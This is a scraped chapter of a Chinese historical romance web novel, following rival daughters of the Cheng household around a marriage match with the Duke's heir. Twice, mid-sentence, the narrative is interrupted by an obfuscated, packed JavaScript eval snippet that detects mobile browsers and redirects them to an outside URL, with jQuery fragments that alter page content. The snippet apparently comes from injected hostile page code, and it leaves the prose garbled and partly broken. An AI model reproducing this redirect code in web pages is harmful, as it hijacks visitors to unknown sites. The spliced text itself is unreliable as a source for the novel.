“那后来呢?你真去找了宁南侯府的世子?”杨姨娘震惊道。 程蓉点头,脸上的红晕越来越深,“我随小厮来到湖心亭,见到了他,没想到世子不是传说中的病秧子,反倒玉树临风,面容俊俏,而且行事颇为君子……” 程蓉跟着杨姨娘多年,别的本事可能没学到,但在面对男人,可以称得上是得心应手。 她知道,所有男人都想要做大英雄,尤其是那种郁郁寡欢,缠绵病榻的男人,更要满足他们的英雄气概。所以她最大的武器,就是她的柔弱与美貌。 女要俏,一身孝。先前束哥儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224036|197534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着国公府人前来,只有她们姊妹三个,想要引人注目,自然要打扮华丽才好。而赏花宴上全是争奇斗艳的小娘子们,这种场景下,反倒要素,而且程蓉知道自己长相清丽,越素,越令人想要采撷。 当她一袭白裙,哭哭啼啼的跑到湖心亭,装作想不开要跳河时,世子立马看了过来。 珊瑚陪着她演戏,痛哭着说:“娘子,太太变着法的作践您,但您还有老爷和姨娘的疼爱啊,您自小便勤学苦练,琴棋书画样样精通,贤良淑德,阖府上下谁不夸赞您?您要是一时想不开,那可就是亲者痛仇者快了!” “……世子听完,便上前劝阻我,还问我究竟受了什么苦楚,我便把太太借着说亲报私仇的事隐晦说出。”程蓉眼里满是喜悦,“世子对我更加宽慰,马上让人给我送来甜汤,还亲自用帕子替我擦泪,还有他的眼神……姨娘,世子待我肯定是非同一般的!” “果真?!”杨姨娘也激动了,如果真能嫁入宁南侯府,她和蓉儿就彻底熬出头了!“我的蓉儿长得如此貌美,德才兼备,侯府主母自然也是当得的。” 说完,她又担忧道: “可是,你这好不容易才出去一次,万一不能在太太给你定亲前和他确定心意,让他上门提亲,就算他对你有意,那也是一场空啊。” 程蓉笑道:“世子已经说了,我心情不好,过两日便让他妹妹给咱们府上递帖子,邀我去散散心,到时自然能碰面。” “好!好!咱们这就把仙绫搁的人喊来,做身最美的衣裳,一定让你打扮的漂漂亮亮的。” 杨姨娘原本最担忧的就是宁南侯世子的身体,纵使侯府门第高,但也不能一嫁过去就守活寡啊,现在蓉儿说世子看上去虽有些身弱,实则却很康健,想来应该是外头人瞎传的,她也就放心了。 “但这事一定不能让你父亲知道,最好是你和世子确定了心意,能确保万无一失,再让他上门提亲。”杨姨娘嘱咐道,若是让程老爷或者任何一个人知道程蓉与外男私相授受,到时候就不是跪祠堂这么简单了。 从此刻开始,杨姨娘母女的全部心神都扑在了宁南侯世子的身上,就连叶嬷嬷过来,通报明日欧阳夫人要上门拜会,两人都没太大的反应。 而在另一边,程若听到欧阳夫人的名号,立刻反应了过来,这是为了国公府的亲事来的! 大娘子死后,谢钰之到底是外男,上次借口送束哥儿来外祖家,过来程家还算理所当然,现在他孤身一人,不便与程家未婚娘子接触,且有公主等人在外虎视眈眈。 而谢老太太辈分太高,也不便拜访。谢家要说亲,肯定还要请人过来拜会一番,商量好细节,之后就进入定礼的最后阶段。 这事就落在了和谢老夫人交好的欧阳夫人头上。 果不其然,没过多久,兰氏就亲自过来了,她好像全然忘记了程若说过不愿意嫁去国公府的话,一个劲的叮嘱她明日如何装扮,如何表现,务必要让欧阳夫人满意: “这是你姐姐生前最爱的牡丹簪,我特意给你带来了,明日记得戴上。” 程若心中一片冰凉,指甲再一次掐破掌心,面上却只笑着说好。 兰氏没发现女儿眼底深处的决绝,只以为她是懂事了,心里更加满意。 全然不知等她一离开,程若飞快叫来心腹丫鬟:“碧水,明日一早,你便去回廊那等着,等五姐姐一出现,你就按照计划行事。” 五姐姐,对不起,可我真的想为自己拼搏一次。 8. 第 8 章 程若性子软,待人宽和,是以下人们面对她没有那份战战兢兢。 碧水一开始知道自家娘子的计划时,就吓了一大跳。 但她自小服侍程若,知道娘子心里头有多苦,所以即便害怕之后会被太太责罚,她还是愿意帮娘子搏一搏。 她幼时刚来娘子身边,有一回不慎打碎了屋里的花瓶,恰逢太太心情不佳,就要拉她下去打板子,如果不是娘子替她求情,她这条命可能早就没了。 只是她有些不懂:“为何是五娘子?” 程若垂首看着面前的木盒,木盒很精致,外面还挂着铜锁,但里面装着的却不是什么宝贝,而是一些姜黄色的碎布料。 这些布料应该是被人暴力毁坏过,丝线凌乱,上面的图案更是被剪子搅得乱七八糟。可布料边缘微微翘起,还有些褪色,显然是被人抚摸过一次又一次。 如果程菀在这,一定能认出,这是她儿时最喜爱的荷包。 程若看着那些布料,微微笑了:“五姐姐,很好……” 程蓉羡慕她众星捧月,但程若有自知之明,那些人与她交好,都是冲着大娘子的名号。 大娘子被称为京城第一才女,但她出嫁后,只与命妇相交,那些未出阁的小娘子只能找到程若,打听她素日才学;有些的想要与程若比试,觉得只要赢了她,就相当于胜过了大娘子;还有些的,是想要探听大娘子和谢钰之的私事……程若厌恶透了这些别有企图的眼神。 但只有五姐姐不是,她是第一个朝她释放善意,却没有其他目的,只单纯因为她自己。 而且从小到大,也只有五姐姐从来不会将她与大娘子之间进行比较。 太太要将她嫁去国公府,肯定会火急火燎的把五姐姐嫁出去。国公府对她来说不是好去处,可于五姐姐却未必不是,她自私一回,只希望不会害了五姐姐。 …… 很快,欧阳夫人上门。 有柔嘉公主在一旁虎视眈眈,这事不能做的太过露骨。是以兰氏便假借生辰在家中设宴,递帖子请亲朋好友来聚一聚。 一大早,程府大门口马车来来往往,穿金戴银、打扮庄重的妇人们言笑晏晏,携手走入花厅。而在后院东厢房,兰氏身边的二等丫鬟再一次出现在程菀面前,语气看似恭敬,实则强硬的转告兰氏的要求—— 简单梳发,着素衣,最好连最素净的玉簪都不要有,越低调越好,只要能见人就行。 哪怕已经对兰氏这场宴会的目的心知肚明,粟米心中还是升起了一股火,太太未免太不把人当人看了! 七娘子和世子爷的婚事明明都已经定下了,只等今日走个过场,就能开始过礼,相当于板上钉钉的事,为何一定要让她家娘子当绿叶做陪衬? 今日来的又不止欧阳夫人一人,还有那么多官太太,太太分明是想绝了五娘子嫁个好人家的路! 不说粟米,就连藜麦这会儿都有些生气了。 只有程菀依旧淡淡的笑着,好像个没有脾气的面团:“我知晓了。” 看程蓉从赏花宴上回来的神色,就知道她闯的祸有多大。等时机成熟,将这事透露出去,兰氏就知道她今天的行为有多么愚蠢了。 受上次程蓉不听话的影响,这次兰氏特意叮嘱婢女先来转告程菀。等说完后,婢女放心离开,去了西厢房盯着程蓉换衣服,绝对不让程蓉再一次坏了好事。 程菀带着粟米藜麦往花厅走去。 从她住的地方去花厅,走后花园肯定是最快的,但今天下了雨,天气有些冷,程菀只能经过回廊。 藜麦担心娘子不高兴,忙道:“娘子,听说庄子上新送来了羔羊肉,十分鲜嫩,不若晚间去点一道羊肉汤?” 宴席上的菜华而不实,小娘子们为了体现礼节,每道菜最多只能用三口,根本吃不饱。程菀想着热乎乎的羊肉汤,扭过头笑着嘱咐道:“好,问问有没有炊饼,煎的焦香酥脆的那种,配在一起。”也是另类的羊肉泡馍了。 藜麦正欲点头,突然瞳孔一缩,大呼:“娘子!” 但已经来不及了,程菀只感觉撞上了什么人,她刚稳住脚步,一杯茶水朝她扑来,湿了她一身,头发上甚至还粘上了几片茶叶。 整个人狼狈至极。 周遭瞬间寂静,“啪”的一声,手中的托盘落地,婢女扑通跪下,慌慌张张磕头大喊:“五娘子,奴婢知错了!奴婢知错了!” 程菀垂眸一看,发现是程若身边的大丫鬟碧水,她用帕子擦了擦脸上的水,摆摆手:“无事,你先起来,这事别往外说,不会有人责罚你的。” 她虽然是胎穿,但上辈子受过的教育让她做不到对下人打打杀杀。只是宴席马上就要开始,得赶紧回去换身衣裳才行,但东厢房离这边太远,也不知道时间是否来得及。 程菀刚想让粟米陪自己回去更衣,让藜麦先去花厅,万一她真的迟到了,就先去兰氏那边告知一声。 但碧水却抢先开口道:“五娘子,东厢房太远了,不若奴婢带您去紫林斋更衣吧?” 紫林斋从前是大娘子的书房,她嫁人后,兰氏让人将屋子扩建了一番,把程若的书房也搬了过来。程菀从来没进去过,但碧水这么说,就说明程若在那边留了几件换洗的衣裳,她个子比程若高一些,但偏瘦,穿程若的衣裳应该还算合适。 时间紧迫,程菀也没来得及多想,“好,粟米,你还是先去花厅等着,万一赶不上也好有个照应。” 碧水带着程菀去了紫林斋,拿出一套春裳递给藜麦,让藜麦替程菀换衣服,她则帮着梳头。 紫林斋是书房,没有铜镜也正常,程菀看不到镜子里的自己,但能感觉到碧水在给她梳一种比较繁复的发髻,还从妆台木屉里拿出了一支极华丽的点翠穿珠蝶金簪插入发间,又在耳垂上挂上一对玲珑精巧的金丝灯笼坠。 如果说碧水因为弄脏了她的衣裳,对她抱有歉意,特意拿出最漂亮的首饰替她装扮,这在平常,倒也说得过去。 可今天是国公府来人相看的日子,涉及到程若和谢钰之的婚事,兰氏特意让家中的两个庶女做绿叶,是为了衬托程若,抬举她,让国公府那边对她更加满意。 兰氏的这个心思,碧水作为程若身边的大丫鬟,不可能不知道……那么,碧水现在的行为,明显就很可疑了。 碧水正要给五娘子戴上粉碧玺手串,下一刻,手却被人按住了,她一抬头,对上五娘子探究的双眼。 程府人尽皆知,六娘子刻薄难伺候;七娘子性情温和,但有太太为她保驾;只有年龄最大的五娘子,老爷忽视,姨娘早逝,在府里存在感极低,有人说她是没脾气的面团,和墙根下的花花草草没区别,以至于有些下人都敢忽视她。 但这一刻,五娘子一个眼神看过来,碧水却不受控制的吓了一跳,她莫名感觉,她和自家娘子精心筹谋的一切,在五娘子面前就跟外头的猴把戏一样,瞬间被看了个透彻。 “碧水,你今日出现在回廊上,又朝我泼了一杯水,真的是偶然吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224037|197534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这原本是个问句,但从程菀嘴里说出来,和肯定句没什么两样。因为此时藜麦已经帮她换好了衣服,看着自己身上华丽又合身,简直像为她量身打造的新衣裙,程菀心里已经有了答案。 碧水抖得更厉害了,头深深的低了下去:“五娘子,宴席快要开始了,您还是快些过去吧。” —— 有兰氏的帖子在前,参加宴席的官家太太们一开始确实以为这只是单纯的给她过寿辰。 直到欧阳夫人的身影突然出现,在场的人精们立即嗅出了一丝不对劲的气息。 谢钰之高中游街那年起,他的婚事便令无数人魂牵梦萦,尤其是当他从边疆凯旋归来后,当时大娘子还在世,就有许多人前仆后继只为了嫁与他为妾。等到大娘子身死,惦记着嫁去做继室的,更是不知凡几,甚至其中还包括一名公主。 惦记的人多,关注的人自然更多,听说连圣上都主动关怀过好几次,所有人都想知道国公府会与哪家闺秀结亲。 只可惜国公府行事低调,谢钰之本人更是朝堂、官署两点一线,连个人影都找不到,想打探消息也没法子。 就在大家急的团团转时,欧阳夫人突然出现在了程府。 欧阳将军可是朝中老将,如今虽无实权,但年轻时可是边疆大将,欧阳夫人更是侯爵嫡女。这样的身份,程家一个小小的四品官,兰氏一个平平常常的生日宴,怎么可能请得动她?定是为了谢家的事来的! “谢老夫人和欧阳夫人交好,她出现在这,莫不是说谢家依旧要与程家定亲?” “很有可能,前些日子,国公府都派人来了程家,表面上说着让小少爷回外祖家看看,说不准那时就已经有苗头了。” “那国公府看上的人是谁?听说最年长的是程家五娘子?” “怎么可能,五娘子是庶女,定是七娘子,那是大娘子的嫡亲妹妹,姐姐端庄贤淑,妹妹也差不到哪里去。” 都是些官家太太、名门闺秀,一般情况下是做不出当众议论这种不合规矩的事,但这事实在太令人震惊了,一时间,整个花厅众说纷纭。 兰氏听着周围人的窃窃私语,表面上淡定的和欧阳夫人寒暄,笑意却深深的浸入在了她的眼底。 直到下一刻,两位年纪相仿的娘子从外走了进来。 为首一人,身着丁香色春裳,清丽淡雅,打扮中规中矩; 第二人,长相更如清水芙蓉,但就是装扮太过素净了,月色的素面小袄,发间仅戴不起眼的银色头饰。淡雅过了限度,就有些寡淡了。 兰氏看向第一人时,脸上原本露出了满意的神色,可当视线落到第二位娘子身上,唰的一下,兰氏整张脸就拉了下来,身边的叶嬷嬷更是整个人都愣住了。 还不等她们有所动作,突然,最后一道身影出现在所有人面前—— 一件茜红色镶金边的折枝花褙子,下配一条白月色挑线裙子,乌黑的长发梳成双环望仙髻,佩戴赤金簪。明明是二八年华的少女,但这种过于贵气的打扮,不仅没有喧宾夺主,反倒将少女姣好秾丽的相貌衬托的淋漓尽致。耳边的珠坠随着步伐轻摇,更显得她肤光似雪,让人只想感叹一声:云鬓花颜金步摇,真是好一张美人面! 霎时间,如同按下了静音键,整个花厅寂静无声,所有人都屏住了气息。 寂静中,不知谁开口来了一句:“这难道就是嫡女七娘子?果真是气度非凡!” 这一刻,兰氏面色难堪如金纸。